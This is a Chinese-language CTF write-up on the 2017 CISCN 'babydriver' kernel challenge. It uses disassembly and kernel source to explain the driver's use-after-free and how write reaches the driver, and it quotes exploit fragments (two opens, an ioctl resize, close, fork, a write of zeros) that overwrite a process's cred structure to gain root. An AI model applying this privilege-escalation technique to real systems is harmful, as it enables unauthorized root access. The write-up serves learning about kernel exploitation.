linux kernel uaf---babydrive

栏目: 服务器 · Linux · 发布时间: 7年前

内容简介:初学Linux 内核pwn,如有不正确的地方还请指教,本文会以一个题目(2017-ciscn-babydrive)跟一个实际的linux内核uaf漏洞讲解。M4x大佬的博客这里已经写的很清楚了,我就不在写这些东西了,毕竟自己也水平有限,担心有说错的地方。但是还是要写一下这个题里面所涉及到的一些问题。在执行的时候会将/lib/modules/4.4.72/babydriver.ko插入内核,下面我们着重分析一下这个内核模块

初学 Linux 内核pwn,如有不正确的地方还请指教,本文会以一个题目(2017-ciscn-babydrive)跟一个实际的linux内核uaf漏洞讲解。

前置知识

M4x大佬的博客这里已经写的很清楚了,我就不在写这些东西了,毕竟自己也水平有限,担心有说错的地方。但是还是要写一下这个题里面所涉及到的一些问题。

  • 设备文件&&模块:区别于我们所创建的test.txt这样的文件,这是系统对硬件的一个抽象,我们要使用这个驱动程序,首先要加载它,我们可以用insmod xxx.ko,这样驱动就会注册,得到一个设备号,这个主设备号就是系统对它的唯一标识。驱动就是根据此主设备号来创建一个放置在/dev目录下的设备文件。在我们要访问此硬件时,就可以对设备文件通过open、read、write、close等命令进行,而open,read,等函数的具体实现方式则是由驱动来决定,简而言之,如下图所示

    linux kernel uaf---babydrive

  • 应用层函数与模块函数之间是如何调用的?从open打开文件,到write写文件,这中间是怎么执行的?

    2017-ciscn-babydrive

    解包&&分析内核模块

    解压后文件夹内存在三个文件:bzImage,booy.sh,rootfs.cpio

    boot.sh : qemu启动所需的命令,如果需要调试的话,在boot.sh启动脚本里面添加 -gdb tcp::1234 -S 即可

    bzImage : kernel映像

    rootfs.cpio是根文件的映像,需要将其解包才能找到文件系统

    执行下面三条命令即可

    mv rootfs.cpio rootfs.cpio.gz
    gunzip rootfs.cpio.gz
    cpio -idmv < rootfs.cpio

    在解包后的文件中发现一个init初始化文件

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

在执行的时候会将/lib/modules/4.4.72/babydriver.ko插入内核,下面我们着重分析一下这个内核模块

分析

用ida打开后发现了 babyopen,babyioctl 等函数,逐个分析一下

  • babyrelease
    00000000000 babyrelease     proc near               ; DATA XREF: __mcount_loc:0000000000000400↓o
    .text:0000000000000000 inode = rdi                             ; inode *
    .text:0000000000000000 filp = rsi                              ; file *
    .text:0000000000000000                 call    __fentry__
    .text:0000000000000005                 push    rbp
    .text:0000000000000006                 mov     inode, cs:babydev_struct.device_buf
    .text:000000000000000D                 mov     rbp, rsp
    .text:0000000000000010                 call    kfree
    .text:0000000000000015                 mov     rdi, offset aDeviceRelease ; "device release\n"
    .text:000000000000001C                 call    printk
    .text:0000000000000021                 xor     eax, eax
    .text:0000000000000023                 pop     rbp
    .text:0000000000000024                 retn
    .text:0000000000000024 babyrelease     endp
    可以发现存在一个名为 babydev 的结构体
    00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
    00000000                                         ; XREF: .bss:babydev_struct/r
    00000000 device_buf      dq ?                    ; XREF: babyrelease+6/r
    00000000                                         ; babyopen+26/w ... ; offset
    00000008 device_buf_len  dq ?                    ; XREF: babyopen+2D/w
    00000008                                         ; babyioctl+3C/w ...
    00000010 babydevice_t    ends
    结构体内存在两个元素,device_buf指向了一段内存地址,device_buf_len应该就是这段内存地址的大小了。 再回到这个函数,函数通过 kfree将device_buf所指向的buf释放掉了。
  • babyopen

    00000000030 babyopen        proc near               ; DATA XREF: __mcount_loc:0000000000000408↓o
    .text:0000000000000030                                         ; .data:fops↓o
    .text:0000000000000030 inode = rdi                             ; inode *
    .text:0000000000000030 filp = rsi                              ; file *
    .text:0000000000000030                 call    __fentry__
    .text:0000000000000035                 push    rbp
    .text:0000000000000036                 mov     inode, qword ptr cs:kmalloc_caches+30h
    .text:000000000000003D                 mov     edx, 40h ; '@'
    .text:0000000000000042                 mov     esi, 24000C0h
    .text:0000000000000047                 mov     rbp, rsp
    .text:000000000000004A                 call    kmem_cache_alloc_trace
    .text:000000000000004F                 mov     rdi, offset aDeviceOpen ; "device open\n"
    .text:0000000000000056                 mov     cs:babydev_struct.device_buf, rax
    .text:000000000000005D                 mov     cs:babydev_struct.device_buf_len, 40h
    .text:0000000000000068                 call    printk
    .text:000000000000006D                 xor     eax, eax
    .text:000000000000006F                 pop     rbp
    .text:0000000000000070                 retn
    .text:0000000000000070 babyopen        endp

    实现功能就是申请一段空间,并更新babydev_struct.device_buf的值为新空间的地址

  • babyioctl

    __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
    {
    size_t v3; // rdx
    size_t v4; // rbx
    __int64 result; // rax
    
    _fentry__(filp, *(_QWORD *)&command);
    v4 = v3;
    if ( command == 65537 )
    {
      kfree(babydev_struct.device_buf);
      babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
      babydev_struct.device_buf_len = v4;
      printk("alloc done\n", 37748928LL);
      result = 0LL;
    }
    else
    {
      printk(&unk_2EB, v3);
      result = -22LL;
    }
    return result;
    }

    关于ioctl函数 : int ioctl(int fd, unsigned long request, ...) 的第一个参数为文件描述符,第二个参数cmd是用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。

    如果command参数为0x10001,就会先释放掉babydev_struct.device_buf指向的内存,然后根据传入的大小重新申请一段空间,并更新结构体。

  • babyread,babywrite 代码很清晰,不做分析,只需要知道copy_to_user/copy_from_user跟用户态函数memcpy()差不多就可以了
  • babydrive_init 初始化 /dev/babydev设备文件,这里包含了几个点。
int __cdecl babydriver_init()
{
  int v0; // edx
  __int64 v1; // rsi
  int v2; // ebx
  class *v3; // rax
  __int64 v4; // rax

  if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )// 分配设备号
  {
    cdev_init(&cdev_0, &fops);                  // 静态内存初始化
    v1 = babydev_no;
    cdev_0.owner = &_this_module;
    v2 = cdev_add(&cdev_0, babydev_no, 1LL);    // 添加到系统中去
    if ( v2 >= 0 )
    {
      v3 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
      babydev_class = v3;
      if ( v3 )
      {
        v4 = device_create(v3, 0LL, babydev_no, 0LL, "babydev");
        v0 = 0;
        if ( v4 )
          return v0;
        printk(&unk_351, 0LL);
        class_destroy(babydev_class);
      }
      else
      {
        printk(&unk_33B, "babydev");
      }
      cdev_del(&cdev_0);
    }
    else
    {
      printk(&unk_327, v1);
    }
    unregister_chrdev_region(babydev_no, 1LL);
    return v2;
  }
  printk(&unk_309, 0LL);
  return 1;
}
  • 首先通过alloc_chrdev_region函数动态的分配了一个设备号,设备号的主要作用还是为了声明设备所对应的驱动程序。
  • cdev_init(&cdev_0,&fops),它的作用是初始化内存,fops方法里面保存的是什么?它保存了一些函数指针,指向处理与设备实际通信的函数,它表明了该驱动程序能对设备文件所进行的一些操作,在本例中就像

    000000008C0 fops            file_operations <offset __this_module, 0, offset babyread, \
    .data:00000000000008C0                                         ; DATA XREF: babydriver_init:loc_1AA↑o
    .data:00000000000008C0                                  offset babywrite, 0, 0, 0, 0, offset babyioctl, 0, 0,\
    .data:00000000000008C0                                  offset babyopen, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \
    .data:00000000000008C0                                  0, 0, 0>

    可以看到有一个file_operations符号,在linux 内核源码中可以找到它的定义,ida中显示为0的地方意思就是不提供这个操作,可以对比下面的结构体。

    struct file_operations {
      struct module *owner;
      loff_t (*llseek) (struct file *, loff_t, int);
      ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
      ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
      ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
      ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
      int (*readdir) (struct file *, void *, filldir_t);
      unsigned int (*poll) (struct file *, struct poll_table_struct *);
      long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
      long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
      int (*mmap) (struct file *, struct vm_area_struct *);
      int (*open) (struct inode *, struct file *);
      int (*flush) (struct file *, fl_owner_t id);
      int (*release) (struct inode *, struct file *);
      int (*fsync) (struct file *, int datasync);
      int (*aio_fsync) (struct kiocb *, int datasync);
      int (*fasync) (int, struct file *, int);
      int (*lock) (struct file *, int, struct file_lock *);
      ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
      unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
      int (*check_flags)(int);
      int (*flock) (struct file *, int, struct file_lock *);
      ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
      ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
      int (*setlease)(struct file *, long, struct file_lock **);
      long (*fallocate)(struct file *file, int mode, loff_t offset,
                loff_t len);
    };

    但是到这里需要考虑一个问题,应用层函数write是如何与babywrite联系在一起的呢?这里就是通过我们常说的系统调用sys_write,下面是linux kernel v2.6.11对sys_write的描述

    asmlinkage ssize_t sys_write(unsigned int fd, const char __user * buf, size_t count)
    {
      struct file *file;
      ssize_t ret = -EBADF;
      int fput_needed;
    
      file = fget_light(fd, &fput_needed);//通过文件描述符获取文件
      if (file) {
          loff_t pos = file_pos_read(file);
          ret = vfs_write(file, buf, count, &pos);
          file_pos_write(file, pos);
          fput_light(file, fput_needed);
      }
    
      return ret;
    }

    可以看到sys_write最终是通过vfs_write实现的,再看一下vfs_write

    ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
    {
      ssize_t ret;
    
      if (!(file->f_mode & FMODE_WRITE))
          return -EBADF;
      if (!file->f_op || (!file->f_op->write && !file->f_op->aio_write))
          return -EINVAL;
      if (unlikely(!access_ok(VERIFY_READ, buf, count)))
          return -EFAULT;
    
      ret = rw_verify_area(WRITE, file, pos, count);
      if (!ret) {
          ret = security_file_permission (file, MAY_WRITE);
          if (!ret) {
              if (file->f_op->write)
                  ret = file->f_op->write(file, buf, count, pos);
              else
                  ret = do_sync_write(file, buf, count, pos);
              if (ret > 0) {
                  dnotify_parent(file->f_dentry, DN_MODIFY);
                  current->wchar += ret;
              }
              current->syscw++;
          }
      }
    
      return ret;
    }

    在这里,我们只关注ret = file->f_op->write(file, buf, count, pos);它的实现,file结构体也是定义在linux kernel中的结构体。

struct file {
    struct list_head    f_list;
    struct dentry        *f_dentry;
    struct vfsmount         *f_vfsmnt;
    struct file_operations    *f_op;
    atomic_t        f_count;
    unsigned int         f_flags;
    mode_t            f_mode;
    int            f_error;
    loff_t            f_pos;
    struct fown_struct    f_owner;
    unsigned int        f_uid, f_gid;
    struct file_ra_state    f_ra;

    size_t            f_maxcount;
    unsigned long        f_version;
    void            *f_security;

    /* needed for tty driver, and maybe others */
    void            *private_data;

#ifdef CONFIG_EPOLL
    /* Used by fs/eventpoll.c to link all the hooks to this file */
    struct list_head    f_ep_links;
    spinlock_t        f_ep_lock;
#endif /* #ifdef CONFIG_EPOLL */
    struct address_space    *f_mapping;
};

通过这个我们可以知道,它是通过file_operations结构体查找的write函数,前面我们已经分析了file_operations结构体里面包含驱动程序能够对文件进行的操作参数。,但是这个file结构体是怎么来的通过对sys_write函数的分析,可以知道

file = fget_light(fd, &fput_needed);

file是通过fget_light函数获得的

struct file fastcall *fget_light(unsigned int fd, int *fput_needed)
{
    struct file *file;
    struct files_struct *files = current->files;
        .......(略)
                get_file(file);
        ......(略)
    return file;
}

current ? 在linux中使用task_struct结构体存储相关的进程信息,而在linux内核编程中current宏可以非常简单地获取到指向task_struct的指针

我们可以得到如下的流程图 (第四个框表示file) linux kernel uaf---babydrive

为了得到完整流程,我们还需要了解inode,inode里面包含文件访问权限,属主,属组,大小,生成时间,访问时间,最后修改时间等信息,我们通过执行命令 ll 所看到的信息就是从inode结构体中取出来的,与file不同的是,一个文件对应于一个inode,但可能对应多个file。

struct inode {
    dev_t            i_rdev;//设备号
        struct cdev        *i_cdev;
    struct file_operations    *i_fop;    /* former ->i_op->default_file_ops */
    ......(略)
};

cdev:

struct cdev {
    ......(略)
    struct file_operations *ops;
    dev_t dev;
    unsigned int count;
};

inode中保存了设备号,与驱动程序一一对应,dentry结构体中的保存了inode,因此整个流程为 linux kernel uaf---babydrive

尽管上述流程可能对于解决babydrive这道题意义不大,但是理解他们是如何怎么工作的总归是有好处的,就像丁佬说的:不要把ctf当成“应试教育”。

分析

再回到这个题目,M4x大佬也对exp写了注释,我就不在此班门弄斧,只是针对exp写写自己的理解

int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

linux kernel uaf---babydrive

ioctl(fd1, 0x10001, 0x8a);

linux kernel uaf---babydrive

close(fd1);//kfree以后的内存会加入缓存,受slab分配器分配;
int pid = fork();

linux kernel uaf---babydrive

write(fd2, zeros, 28);//因为没有close(fd2),所以存在fd2的file,还能继续找到相应的驱动->babydrive

此时会继续向device_buf所指向的地址写入内容,因此可以修改cred结构体。

总结

非常感谢atum大佬提供的题目,丁佬跟p4nda大佬的帮助。

从write->sys_write->babywrite的调用过程我看可以看出linux设计的巧妙之处,用户空间开发者只需要关注write函数怎么使用就可以了,不用关心你的驱动有多复杂。

相关链接:

http://www.ruanyifeng.com/blog/2011/12/inode.html

https://www.ibm.com/developerworks/cn/linux/l-linux-slab-allocator/index.html


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Beautiful Code

Beautiful Code

Greg Wilson、Andy Oram / O'Reilly Media / 2007-7-6 / GBP 35.99

In this unique work, leading computer scientists discuss how they found unusual, carefully designed solutions to difficult problems. This book lets the reader look over the shoulder of major coding an......一起来看看 《Beautiful Code》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具